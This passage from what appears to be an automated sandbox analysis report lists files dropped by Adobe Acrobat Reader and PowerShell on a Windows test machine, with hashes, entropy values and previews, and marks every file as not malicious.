SHA-512:	2CFBDF8D766E97AF3C60714ECD6D08904B6F0A86F4D36172BF00E32269EB607F93B7E81B2FC83C104503FB514AC1E2ED454FAB54DB66414496C76D2235DC48CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.256763194452822
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJf+dPeUkwRe9:YvXKXfkzR2vR/ZwHAWrG28Ukee9
MD5:	2B12A7E18EBD31862185F666235DB42F
SHA1:	4D92B4814E30D11BF0DEC469DA9A36ADCA853D94
SHA-256:	9B084BE235FDE080ADA29362010CEAF8E434D38C85844BCCAA102E5B2005968D
SHA-512:	A8293C795C00F5B63D69A39046E9A22C609656B151F61DF6FACDBF7DB0B2D408A9006A2F7F2F6AE54DAB6968DCB9F2D0A9C9ED00B0152BD182D9486C3B442B58
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.254672623170273
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJfbPtdPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGDV8Ukee9
MD5:	0F8FCCD58AB9AF7D4E4DDAD350867AD7
SHA1:	C7A3E83088A18F8EBEE061950CE9892D74D5C782
SHA-256:	7C495B01CC07D24C5D11B80D91CC6F23F107622753BF8361AA743F969FF5546B
SHA-512:	048DB38560BC6CCA13C7E85F80993C2BA95B72C42E75782FE59139F13B6022D2DCC950DAA3D47788EB318220AA846B2DE0ADDB37B00277E412F2895D38715393
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2533131407108495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJf21rPeUkwRe9:YvXKXfkzR2vR/ZwHAWrG+16Ukee9
MD5:	495D665D1D482A7FAB1B09CEF928741F
SHA1:	C9AEF2846D4E6E6C1425C414B5B95E1AEE8984D9
SHA-256:	49A52EE11C33BF1F4D62960A7AAB4904AE60F56991AA448D5AA83FD84896AC84
SHA-512:	65A39438262A21DEB11017CD489EA477BB9AB7569E073D433A0165B3A8C9AE3031627AA0BBCFB879FAD9CDAFAD256246E89C6BE6B1878A2EEAA4B95D167E25CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670188839107714
Encrypted:	false
SSDEEP:	24:Yv6Xf8R2Jh/amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSN:YvYvJhXBgkDMUJUAh8cvMN
MD5:	11DE9A91466CC397E1213B952044AF42
SHA1:	604E1925B72FEDF9052E57D89E24D29BFBA107D9
SHA-256:	9C04A70F423DDB70D8706753E7223FDBDDC7DC264ADF3D96ACDCAC077688E6FB
SHA-512:	E507FF30FEA98AF24A39117EC19400C9632AFBAC06BE0D2801DE920619BA7EAD06D848229FF4E04EA19AD68F7A1C9CE0BC6B2BD2D8FB0B5D77DA1428D5358DD3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.227816796254128
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJfshHHrPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGUUUkee9
MD5:	B145B8729758771AB4BA9BBFBEEEA640
SHA1:	3349E5A89502B55299F38AE499D42EE6C1CAA497
SHA-256:	D992106865628BDAA00224BC32DD997FFD59A7FF53AED596DD6D73B950F7EE25
SHA-512:	14B1AD0934076C78E47301E6DB8C1B0E58840BC001503E6107A53E4A794C450CD1DEEEBA926C37627D82B266B195FBF60CB4CC787C51ED216C78A32B6BE6A16A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.244009411174259
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJTqgFCrPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGTq16Ukee9
MD5:	C79F0A87506A469DE191FFCB7773A61C
SHA1:	88E36854CE0F14689787BDC5755E2010522D17E6
SHA-256:	C1FBAEDA72B2CEDC2EFB4E6E7308FF33665A04DE03D6F6BBD1F2BA54203BE0AC
SHA-512:	F7A726CA2D69AE06B2A47F8DE2A5D9FE6720509F318F86BB80E64DFFDD23512134D4DD14644411A855C288333431C2DE7F7906A21BBCBD85F6C2E7D3C3F57463
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.147059658749423
Encrypted:	false
SSDEEP:	24:Yd4aC1aywuyt2iAYfKkkeKQLxkjoj0S0R82c25P2LSGCJoMV8naewL+R5E69GlNZ:YQiAYCtNqnuPImoMSanei69OZ
MD5:	83B1B5F5AEF88D0F506C2D05C3CA940C
SHA1:	47997404A57874821AC5AABE25AF8BB0F5E822E8
SHA-256:	547ACE996E109CE4BE3F047EA8ED0AD546AD1962534071E97A7012627BB6AE0E
SHA-512:	0B641A367392290525F2780B2FB8BA4105E5B70B3E3C41CEAA2B12EAECE2427CC409C06EC72F679E1780BB413DDCB8551F93BF01A2D84E5E23C6E92215E23402
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1bad61dc34e2794055b7261314f96680","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736581477000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"fe4d14005e9ea85cc49582c631ad5c43","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736581477000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"683325bcedc41a43b7d390195def5097","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736581477000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cd3d8de37623f38a535fb4307afb4812","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736581477000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"498ed4dd1728e9a22147788017cfb95a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736581477000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"98ff17380e122d01e8e4f7c688c832a1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3181360581519066
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeMutqVp3:TGufl2GL7ms9WR1CPmPbPahMQypilIy2
MD5:	03301F15BC49F042D6A34572DE9E93CF
SHA1:	99A0B7F7833700D10A280D8DDFD85D708693D48A
SHA-256:	E830839C917E5D50CD4ED91EC9291E4FC1A6A4B80A8885FB71FCCF4D7F221482
SHA-512:	374EABED2B56EE7AC3079AF12AB67D81CE6159B4EC4FDBE24169BB8B615A95688D342DBDBE47F0DFFA51D8345F9F114B616FA4B32604142B11D8B2243BE5370E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.78168772014528
Encrypted:	false
SSDEEP:	48:7MaXWR1CPmPbPahMVypilI8qFl2GL7msv:7DXWfMwbPahMVJKVmsv
MD5:	512C610D320C8EEC4FA2650A84D351CF
SHA1:	C5299BA6966244DE38AF902B931C79EDCCE464AC
SHA-256:	62CA6CE3835F5AECB7CA07976DC133B03C483BA6AE6A1D78D78F17325F57893B
SHA-512:	0F459A858370E4391312F94780795EB87A53CDED2919AAC7D753250AA064EC82ECCBF9F088406591B416F508A5CE611FA4CAA5B2CE315F55F5B0295D3F54FDC7
Malicious:	false
Preview:	.... .c.......\...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgiMBmaQYqNqZ8HuLqczvOqsUfdYyu:6a6TZ44ADEiMBmax2qZ84BfdK
MD5:	A598FA7E554186F08D895F1DC8D29AFA
SHA1:	DFE304A4F26AE52DCBA1F6210ECE621ECBF988A7
SHA-256:	7A7942F71EB2C2D8CB530FAFE256DEFE453FBA1FC3F9FA508AF5C0CF2D49EE0C
SHA-512:	55EDC8B057243546B0225285F036A892F519DF19709BD2E762F928093430C85E36DD26EB250791901B5CF0AA2AE7C5D6EC0EE1356312D7B3DE35CC7F6A8AA9C6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIed48c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClErwle:Qw946cPbiOxDlbYnuRKdDrww
MD5:	C07F4B4F5FD81D3E83BF58F12C707529
SHA1:	68BAE15330D2C7C037C0CABC3B1A54B374724D9A
SHA-256:	7BC81B90F5F36178F8E30D980E30328DA34EDD6A4F83F474A766ADC300179C0B
SHA-512:	07BAC401CCC2FF2776116904C40CA7CA08218672C893A946AA478458E8AA8670FEDF446F276464CBB331DFDCF16C139241D46FEB44A50B348BD265051A7ED235
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.4.4.:.3.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5fi1ibna.tov.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxbba2zo.l2k.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-44-30-756.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.372047612717816
Encrypted:	false
SSDEEP:	384:V2cA/1mlHef92c7bGKaHYSvm69spmcMvTAGUya01Y9KiI9pIILJteNeT6b1HlSa2:zyS
MD5:	0B042958D026E2A71622EFA47F4D1A92
SHA1:	1D8CB9192074D080EE0FC394A6904362A0DAB876
SHA-256:	0B542D3A40D4533453AEAF0BEF1EEC3CDE52C3AE120A5B80F01BAC03B698FA81
SHA-512:	7DF0F3ADE3420F825E50A89F6C7C14359BE3B5D4527D667C5B373660E9C79E3953E7F28C77F9E21C2FD2707431AEA3F93D7C45AF0403C1782D126923C3D83183
Malicious:	false
Preview:	SessionID=8dc4a76b-cadf-4864-a665-32896404be95.1736581470783 Timestamp=2025-01-11T02:44:30:783-0500 ThreadID=6848 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8dc4a76b-cadf-4864-a665-32896404be95.1736581470783 Timestamp=2025-01-11T02:44:30:783-0500 ThreadID=6848 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8dc4a76b-cadf-4864-a665-32896404be95.1736581470783 Timestamp=2025-01-11T02:44:30:783-0500 ThreadID=6848 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8dc4a76b-cadf-4864-a665-32896404be95.1736581470783 Timestamp=2025-01-11T02:44:30:784-0500 ThreadID=6848 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8dc4a76b-cadf-4864-a665-32896404be95.1736581470783 Timestamp=2025-01-11T02:44:30:784-0500 ThreadID=6848 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403527922698974
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbecbABIB7cbN:ceo4+rsCaOB8
MD5:	085AC18483C3921EBF996C7D5C445A51
SHA1:	22B022A6F400714FB72865E09BF072FFF3F834CC
SHA-256:	3EDF27B901187A0C047A3923227BA4DB1E49775C9C833E3B929C02561B63112D
SHA-512:	544F15F5818A27DE08CC9337A1855031E6B0FA05143EAA4257A450069F226008051C9E776A1A893D35F0934F5035F3E88BF05FB73EF02ACD6A317150309B998F
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1ec954b8-2ec7-4447-bfca-889a62d21592.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7256fc1f-19d5-4e33-9ecc-94874c66de88.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ3POSTJJJJEQ6T9UkRm1XX/FLYVbxrr/IxktOQZ1mau4yBwsOo:r+Tegs6lTJJJJv+9UZd1ybxrr/IxkB1m
MD5:	774036904FF86EB19FCE18B796528E1E
SHA1:	2BA0EBF3FC7BEF9EF5BFAD32070BD3C785904E16
SHA-256:	D2FC8EA3DDD3F095F7A469927179B408102471627C91275EDB4D7356F8E453AD
SHA-512:	9E9662EA15AE3345166C1E51235CDCE3123B27848E4A4651CC4D2173BDD973E4AD2F8994EFF34A221A9F07AA676F52BEB6D90FF374F6CCB0D06FA39C3EFE6B31
Malicious:	false
